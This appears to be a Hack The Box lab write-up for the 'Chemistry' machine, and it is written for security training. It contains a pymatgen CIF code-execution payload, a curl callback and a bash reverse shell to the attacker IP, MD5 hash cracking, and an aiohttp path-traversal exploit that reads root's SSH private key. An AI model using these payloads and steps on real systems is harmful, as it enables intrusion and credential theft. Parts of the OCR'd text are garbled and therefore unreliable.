Chemistry



IP: 10.129.194.167

Setup Metasploit environment

Open Metasploit
sudo msfconsole
<pre># Metasploit Commands</pre>
use multi/handler
workspace -a Chemistry
setg WORKSPACE Chemistry
setg LHOST 10.10.14.140
setg LPORT 1337
setg SRVHOST 0.0.0.0
setg SRVPORT 1080
setg RHOST 10.129.194.167
setg RHOSTS 10.129.194.167

Info Gathering

Enumerate open ports

```
# Initial Port Scan
db_nmap -p 22,5001 -sC -sV -0 -A --open -oN Chemistry.nmap 10.129.194.167
```

Hosts

Hosts 						
address	mac	name	os_name	os_flavor	os_sp	purpose
10.129.194.167		chemistry.htb	Linux		5.X	server

Services

Services								
host	port	proto	name	state	info			
10.129.194.167 10.129.194.167	22 5000	tcp tcp	ssh upnp	open open	0penSSH	8.2p1	Ubuntu	4ubuntu0

Gaining Access

I was able to access the site using just the IP Address LINK: <u>http://10.129.194.167:5000/</u>

Screenshot Evidence

Chemistry CIF Analyzer

Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.



I registered for an account and was able to sign into the application **Screenshot Evidence**

Dashboard

Please provide a valid CIF file. An example is available here



Your Structures



I downloaded the example.cif file to see what the file needs to look like that I upload to the server

Check out the file
file /home/kali/Downloads/example.cif
cat /home/kali/Downloads/example.cif

```
(root@kali)-[~/HTB/Boxes/Chemistry]
# cat /home/kali/Downloads/example.cif
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_z
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
0 0.50000 0.50000 1
```

CIF is a file type I had to look up that stands for "crystallographic information file"

I searched Google for "crystallographic information file vulnerability" and found a recent CVE-2024-23346 CVE REFERENCE: <u>https://www.vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-</u> cve-2024-23346

Screenshot Evidence

			2 /						
Geigle	crys	tallograph	nic inforn	nation fi	le vulnerabi	lity			
	All	Images	Videos	News	Shopping	Forums	Web	: More	
		Vicarius https://www Critical S 21, 2024 – ed to crysta	evicarius.io ecurity The vuln llography.	, vsociety; Flaw i I.cif is a C It is typic	posts a critical n Pymatg CIF (Crystallo cally used in r	-secu : Ien Libra ographic Ir materials	n ry (CV	E-2024-23346)	ains data

A CIF file is actually a python file that uses the "**pymatgen**" python library. The CVE reference article pointed to a Proof of Concept (PoC) in GitHub There is no input validation on the method <u>from_transformation_str(</u>) This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input **POC LINK**: https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-gj2f

PoC Code

```
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class_.__mro_[1].__getattribute_
[ *[().__class_.__mro_[1]]+["__sub" + "classes_"]) () if d.__name__ == "BuiltinImporter"][0].load_module
("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS_62.448
_space_group_magn.name_BNS "P n' m a' "
```

I copied the _space_group_magn.transform_BNS_Pp_abc line and placed it into example.cif to see if it would simply execute that way

It took a little playing around but I discovered I needed three lines from the PoC added to the bottom of example.cif to catch a response

I used a curl request to hit a webserver on my attack machine to see if this would catch a response and it did **Contents of example.cif**

data Example _cell_length_a 10.00000 _cell_length_b 10.00000 _cell_length_c 10.00000
_cell_angle_alpha 90.00000 _cell_angle_beta 90.00000 _cell_angle_gamma 90.00000 _symmetry_space_group_name_H-M 'P 1' loop_ _atom_site_label atom site fract x _atom_site_fract_y _atom_site_fract_z atom_site_occupancy H 0.00000 0.00000 0.00000 1 0 0.50000 0.50000 0.50000 1 _space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class _.__mro__[1].__getattribute__ (*[().__class _.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl http://10.10.14.140/legin.png");0,0,0' _space_group_magn.number_BNS 62.448 ______space_group_magn_name_BNS "P n' m a' "

Start the webserver and watch the access log file

Start webserver
sudo systemctl start apache2
Watch logs
sudo tail -f /var/log/apache2/access.log

I then uploaded example.cif to the target **Screenshot Evidence**

Dashboard

Please provide a valid CIF file. An example is available here



Your Structures

Filename	Actions
example.cif	View Delete
Logout	

I clicked the "**View**" button and proved the RCE **Screenshot Evidence**

```
(root@kali)-[~/HTB/Boxes/Chemistry]
# tail -f /var/log/apache2/access.log
10.129.194.167 - - [22/Dec/2024:14:17:18 -0800] "GET /legin.png HTTP/1.1" 404 435 "-" "curl/7.68.0"
[HTB] 0:ovpn 1:msf- 2:util*
```

I started a listener to catch the reverse shell

Metasploit Commands
use multi/handler
set LHOST 10.10.14.140
set LPORT 1337
set payload generic/shell_reverse_tcp
run -j

I used a reverse shell generator to get a bash command that would catch a shell. I needed to use the Bash -i template they had

REFERENCE: <u>https://www.revshells.com/</u>

I also needed to open a new bash process to open it in making the reverse shell command this

```
/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.140/1337 0>&1\'
```

I started a listener

In the GUI I deleted the previous example.cif upload and then reuploaded my new version **Contents of example.cif**

data_Example

```
_cell_length_a
                            10.00000
_cell_length_b
_cell_length_c
                            10.00000
                            10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
 _symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
_atom_site_fract_z
   atom site occupancy
 H 0.00000 0.00000 0.00000 1
 0 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class___mro__[1].__getattribute__
( *[().__class __mro__[1]]+["_sub" + "classes_"]) () if d.__name_ == "BuiltinImporter"][0].load_module
("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.140/1337 0>&1\'");0,0,0'
_space_group_magn.number_BNS_62.448
_space_group_magn_name_BNS "P n' m a' "
```

This gained me access to the target machine **Screenshot Evidence**



I then loaded a PTY shel

```
# Command Executed in Shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

Screenshot Evidence

```
app@chemistry:~$ whoami^H^H^H^H^H^H^H^Hid
id
uid=1001(app) gid=1001(app) groups=1001(app)
app@chemistry:~$ hostname
hostname
chemistry
app@chemistry:~$ hostname -I
hostname -I
10.129.194.167 dead:beef::250:56ff:feb0:cd4b
```

Inside my app users home directory is a directory called "instance" which contains a database file for SQLLite

Screenshot Evidence

```
app@chemistry:~$ ls -la
ls -la
total 52
drwxr-xr-x 8 app
                       4096 Oct 9 20:18 .
                  app
drwxr-xr-x 4 root root 4096 Jun 16
                                   2024
                       5852 Oct 9 20:08 app.py
                  app
-rw——— 1 app
lrwxrwxrwx 1 root root
                        9 Jun 17
                                    2024 .bash_history \rightarrow /dev/null
                        220 Jun 15
                                    2024 .bash_logout
-rw-r--r-- 1 app
                  app
                       3771 Jun 15
                                    2024 .bashrc
-rw-r--r-- 1 app
                  app
                                   2024 .cache
drwxrwxr-x 3 app
                       4096 Jun 17
                  app
drwx — 2 app
                       4096 Dec 22 22:30 instance
                 app
                       4096 Jun 15
                                   2024 .local
drwx — 7
             app
                  app
-rw-r--r-- 1 app
                  app
                       807 Jun 15
                                   2024 .profile
lrwxrwxrwx 1 root root
                          9 Jun 17
                                   2024 .sqlite_history → /dev/null
drwx — 2 app
                       4096 Oct 9 20:13 static
                  app
        — 2 арр
                       4096 Oct 9 20:18 templates
drwx-
                  app
drwx — 2 app
                       4096 Dec 22 22:30 uploads
                  app
app@chemistry:~$ s ^H^H^H^Hls instance
ls instance
database.db
app@chemistry:~$ strings instance/database.db
strings instance/database.db
SQLite format 3
ytableuseruser
CREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(150) NOT NULL,
        password VARCHAR(150) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
<u>indexsqlite_autoindex_user_1user</u>
5tablestructurestructure
CREATE TABLE structure
```

Inside the database file I can see usernames and password hashes. One of them is for the tobor user I created

indexsqlite_autoindex_structure_1structure example.cifb4682d97-1866-4288-a16a-8b430ebcae55 b4682d97-1866-4288-a16a-8b430ebcae55 U Mtobor1f08efaf9dbd5542f3110d26a2ab4ca1+ Mkristel6896ba7b11a62cacffbdaded457c6d92(Maxel9347f9724ca083b17e39555c36fd9007* Mfabian4e5d71f53fdd2eabdbabb233113b5dc0+ Mgelacia4af70c80b68267012ecdac9a7e916d18+ Meusebio6cad48078d0241cca9a7b322ecd073b3) Mtaniaa4aa55e816205dc0389591c9f82f43bb, Mvictoriac3601ad2286a4293868ec2a4bc606ba3) Mpeter6845c17d298d95aa942127bdad2ceb9b* Mcarlos9ad48828b0955513f7cf0f7f6510c8f8* Mjobert3dec299e06f7ed187bac06bd3b670ab2* Mrobert02fcf7cfc10adc37959fb21f06c6b467(Mrosa63ed86ee9f624c7b14f1d4f43dc251a5' Mapp197865e46b878d9e74a0346b6d59886a) Madmin2861debaf8d99436a10ed6f75a252abf tobor kristel axel fabian gelacia eusebio tania victoria peter carlos iobert robert rosa admin app@chemistry:~\$ [HTB] 0:ovpn 1:msf* 2:util-

The other user with a home directory on this machine is rosa so I attempt to crack her password and see if she reused it

```
# What user has a home dir
ls /home
# On Attack machine create rosa.hash
```

```
echo '63ed86ee9f624c7b14f1d4f43dc251a5' > rosa.hash
# Identify hash type which appears to be MD5
hashid
63ed86ee9f624c7b14f1d4f43dc251a5
# Attempt to crack it
john --format=raw=md5 -w=/usr/share/wordlists/rockyou.txt rosa.hash
```

This successfully cracked her password

Username	Password
rosa	unicorniosrosados

Screenshot Evidence

```
(root kali)-[~/HTB/Boxes/Chemistry]
# john --format=raw-md5 -w=/usr/share/wordlists/rockyou.txt rosa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4×3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorniosrosados (?)
1g 0:00:00:00 DONE (2024-12-22 14:41) 8.333g/s 24848Kp/s 24848Kc/s 24848KC/s
Use the "--show --format=Raw-MD5" options to display all of the cracked pass
Session completed.
```

I used the Metasploit ssh_login module



The credentials successfully logged rosa in and I could read the user flag

```
# Enter the Metasploit session
sessions -i 2
# Open a PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Read the flag
cat ~/user.txt
```

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 2 [*] Starting interaction with 2... python3 -c 'import pty;pty.spawn("/bin/bash")' rosa@chemistry:~\$ cat ~/user.txt cat ~/user.txt 67d123f38c9c0cfeac6e5719249321a1 rosa@chemistry:~\$ id id uid=1000(rosa) gid=1000(rosa) groups=1000(rosa) rosa@chemistry:~\$ hostname hostname chemistry rosa@chemistry:~\$ hostname -I hostname -I 10.129.194.167 dead:beef::250:56ff:feb0:cd4b rosa@chemistry:~\$ | [HTB] 0:ovpn 1:msf* 2:util-

USER FLAG: 67d123f38c9c0cfeac6e5719249321a1

PrivEsc

Rosa does not have any sudo permissions so if I am going to elevate privileges it needs to be through a service I checked listening ports and found port 8080 is running something

```
# View listening ports
ss -tunlp
```

Screenshot Evidence

ss -tu	nlp						
Netid	State	Recv-Q	Send-Q	Local Address:Port	Peer	Address:Port	Process
udp	UNCONN	0	0	127.0.0.53%lo:53		0.0.0.0:*	
udp	UNCONN	0	0	0.0.0.0:68		0.0.0.0:*	
tcp	LISTEN	0	128	0.0.0.0:5000		0.0.0.0:*	
tcp	LISTEN	0	128	127.0.0.1:8080		0.0.0.0:*	
tcp	LISTEN	0	4096	127.0.0.53%lo:53		0.0.0.0:*	
tcp	LISTEN	0	128	0.0.0:22		0.0.0.0:*	
tcp	LISTEN	0	128	[::]:22		[::]:*	
rosa@cl	hemistry	:~\$					
[HTB]	0:ovpn	1:msf* 2	util-				

I was not able to discover process information with lsof or ps for port 8080 Use curl on the target machine to reach the service which is in fact a site

Screenshot Evidence



In the /opt directory there is a folder /opt/monitoring_site There is nothing in /var/www which indicates this site is hosted there I am unable to access that directory as my current user

Enumerate directory
ls -la /opt/monitoring_site

Screenshot Evidence



I setup an SSH proxy so I can communicate with the site on my attack machine

Create Socks5 Proxy
ssh -L 8000:127.0.0.1:8080 rosa@chemistry.htb
Password: unicorniosrosados

(root left kali)-[~/HTB/Boxes/Chemistry] -# ssh -L 8000:127.0.0.1:8080 rosa@chemistry.htb The authenticity of host 'chemistry.htb (10.129.194.167)' can't be established. ED25519 key fingerprint is SHA256:pCTpV0Qcj0NI3/FCDpSD+5DavCNbTobQqcaz7PC6S8k. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'chemistry.htb' (ED25519) to the list of known hosts. rosa@chemistry.htb's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sun 22 Dec 2024 10:56:13 PM UTC

I am now able to access the site

Notice this has the ability to start and stop services. These do not work yet so we have to look somewhere else LINK: <u>http://127.0.0.1:8000/</u>

Screenshot Evidence





Views per Month

I could not find much info on the site but in the site headers I see a version Python/3.9 aiohttp/3.9.1 Screenshot Evidence

Þ	Headers	Cookies	Request	Response	Timi
🗑 Fi	lter Headers				
▶ GE	T http://127.0	.0.1:8000/			
Sta Ve Tra Re DN	atus rsion ansferred quest Priority \S Resolution	200 OK (HTTP/1.1 6.12 kB (5 Highest System	② .97 kB size)		
▼ Re	sponse Head	lers (152 B)			
() () () () () () () () () () () () () (Content-Len Content-Typ Date: Sun, 2 Server: Pyth	gth: 5971 e: text/html 2 Dec 2024 2 on/3.9 aioht	; charset=utf- 22:59:57 GMT tp/3.9.1	8	
▼ Re	quest Heade	rs (541 B)			
?	Accept: text, q,image/svg	/html,applica +xml,*/*;q=0	ation/xhtml+x).8	ml,application/	xml;q=

I Google search for aiohttp 3.9.1 exploit returned a more recent CVE-2024-23334 which is an LFI **PoC LINK:** <u>https://github.com/wizarddos/CVE-2024-23334</u>



I cloned the repo and attempted the exploit which was successful when defining the assets URI

Clone repo git clone https://github.com/wizarddos/CVE-2024-23334 cd CVE-2024-23334 python3 exploit.py -u http://127.0.0.1:8000 -f /etc/passwd -d /assets

```
Respose:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100:/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
laurel:x:997:997::/var/log/laurel:/bin/false
[HTB] 0:ovpn 1:msf 2:util- 3:[tmux]*
```

I checked to see if I could read the root users SSH key and I could Screenshot Evidence

(root⊛kali)-[~/	HTB/Boxes/Chemistry/CVE-2024-23334] .py -u http://127.0.0.1:8000 -f /root/.ssh/id_rsa -d /assets
[+] Allempi V	Payload: /assets//root/.ssh/id_rsa
[.] Attompt 1	Status code: 404
[+] Attempt 1	Payload: /assets///root/.ssh/id_rsa
[+] Attompt 3	Status code: 404
[+] Attempt 2	Payload: /assets////root/.ssh/id_rsa
Pasnasat	Status code: 200
BEGIN OPENSSH	PRTVATE KEY
b3BlbnNzaC1rZXktdjE	AAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs	FbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8Vj0+NHKK8P0hIU
UbnmTGaPeW4evLeehnY	FQleaC9u//vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1v
j0w069QoWrHERaRqmTz	ranVyYAdTmiXlGqUyiy0I7GVYqhv/QC7jt6For4PMAjcT0ED3Gk
HVJONbz2eav5aFJcOvs	CG1aC93Le5R43Wgwo7kHPlfM5DjSDRqmBxZpaLpWK3HwCKYITbo
DfYsOMY0ZyI0k5yLl1s	685qJIYJHm1n9HZBmD1w5/e2r1THhNbt2naHxd0WkJ8PUTgXuV2
UULJWP/IVPIKM5DyaV5	DZNIWXNTOIYUZDWJQFQNZKAQ8X89X+YMFfZWK8C48ZAYCVLf3IV
vrl og A Owy NI DVG i IWnT	acmUDk9xu0kEakad1TVMbAAAEiDikD5XknD+VAAAAB3NzaC1vc2
FAAAGBAL BW2Mxsb1IGe	mDNSzlCbI10ulh4vGNmRUHDNxvFYzviRvivD9ISFFG55kxmi3lu
Hrv3noZ2BUJXmgvbv/7	3IgSzTlhanoOio7KtpVUZAL8CtrLiUk7VWfKhotb49MDuvUKFax

I saved the SSH key to my machine and used it to access the device as root and read the flag

BEGIN OPENSSH PRIVATE KEY
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

END OPENSSH PRIVATE KEY
<pre># Set correct permissions on the key file chmod 600 root-chemistry.key</pre>
<pre># SSH into the target ssh -i root-chemistry.key root@chemistry.htb</pre>
<pre># Read the flag cat /root/root.txt # RESULTS d25029f0a83a079ae4666681a4ec8b441</pre>

Screenshot Evidence

Last login: Fri Oct 11 14:06:59 2024 root@chemistry:~# cat /root/root.txt d25029f0a83a079ae4666681a4ec8b441 root@chemistry:~# id uid=0(root) gid=0(root) groups=0(root) root@chemistry:~# hostname chemistry root@chemistry:~# hostname -I 10.129.194.167 dead:beef::250:56ff:feb0:cd4b root@chemistry:~# | [HTB] 0:ovpn 1:msf 2:util- 3:ssh*

ROOT FLAG: d25029f0a83a079ae466681a4ec8b441